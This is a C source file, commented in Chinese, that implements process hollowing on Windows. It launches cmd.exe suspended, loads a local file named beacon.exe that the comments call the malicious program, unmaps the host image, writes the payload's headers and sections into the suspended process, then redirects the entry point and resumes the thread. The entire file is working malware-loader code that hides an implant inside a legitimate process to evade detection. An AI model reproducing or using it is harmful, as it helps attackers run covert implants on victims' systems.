#include <stdio.h>
#include <Windows.h>
// WindowsAPI声明
typedef VOID(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, wchar_t* argv[])
{
// 定义变量和结构体
IN PIMAGE_DOS_HEADER pDosHeaders; //表示 DOS 头
IN PIMAGE_NT_HEADERS pNtHeaders; //表示 NT 头。
IN PIMAGE_SECTION_HEADER pSectionHeaders; //表示节头。
IN PVOID FileImage; //恶意文件的映像基址
IN HANDLE hFile; //一个句柄,指向文件
OUT DWORD FileReadSize; //存储实际读取的文件大小
IN DWORD dwFileSize; //存储文件的总大小
IN PVOID RemoteImageBase; //远程进程中映像基址
IN PVOID RemoteProcessMemory; //远程进程中分配的内存起始地址。
STARTUPINFOA si = { 0 }; //用于指定新进程的主窗口特性
PROCESS_INFORMATION pi = { 0 }; //进程的相关信息
CONTEXT ctx; // 线程上下文
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si); //结构体的大小
//用于替换的恶意程序
char path[] = "C:\\Users\\Xu\\Desktop\\beacon.exe";
// 创建挂起的cmd进程
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"cmd",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
//读取恶意程序的内容至本进程内存中
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
//获取恶意程序的文件头信息(Dos头和Nt头)
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage; //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
//获取挂起进程的上下文
GetThreadContext(pi.hThread, &ctx);
//获取挂起进程的映像基址
#ifdef _WIN64
// 从rdx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
/*
文件基址 + DOS头偏移 + NT头大小 + (当前节索引 * 节头大小) = 当前节头位置
FileImage + pDosHeaders->e_lfanew = NT头位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) = 节表的起始地址位置
FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)是得到每个节表项,这个节表项就是每个节的节头。
VirtualAddress存放着每个节在内存的偏移量
PointerToRawData存放着每个节在物理磁盘上的偏移量
*/
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
pi.hProcess, // 目标进程句柄
(PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), // 目标内存地址
(PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), // 源数据地址
pSectionHeaders->SizeOfRawData, // 写入大小
NULL
);
}
//将rcx寄存器设置为注入软件的入口点
#ifdef _WIN64
//入口点设置
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Rdx + 0x10 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
//入口点设置
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
//映像基址写入
WriteProcessMemory(
pi.hProcess, //本进程的句柄
(PVOID)(ctx.Ebx + 0x8 ), // 被注入进程的ImageBase
&pNtHeaders->OptionalHeader.ImageBase, // 恶意文件的ImageBase
sizeof(PVOID),
NULL);
#endif
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}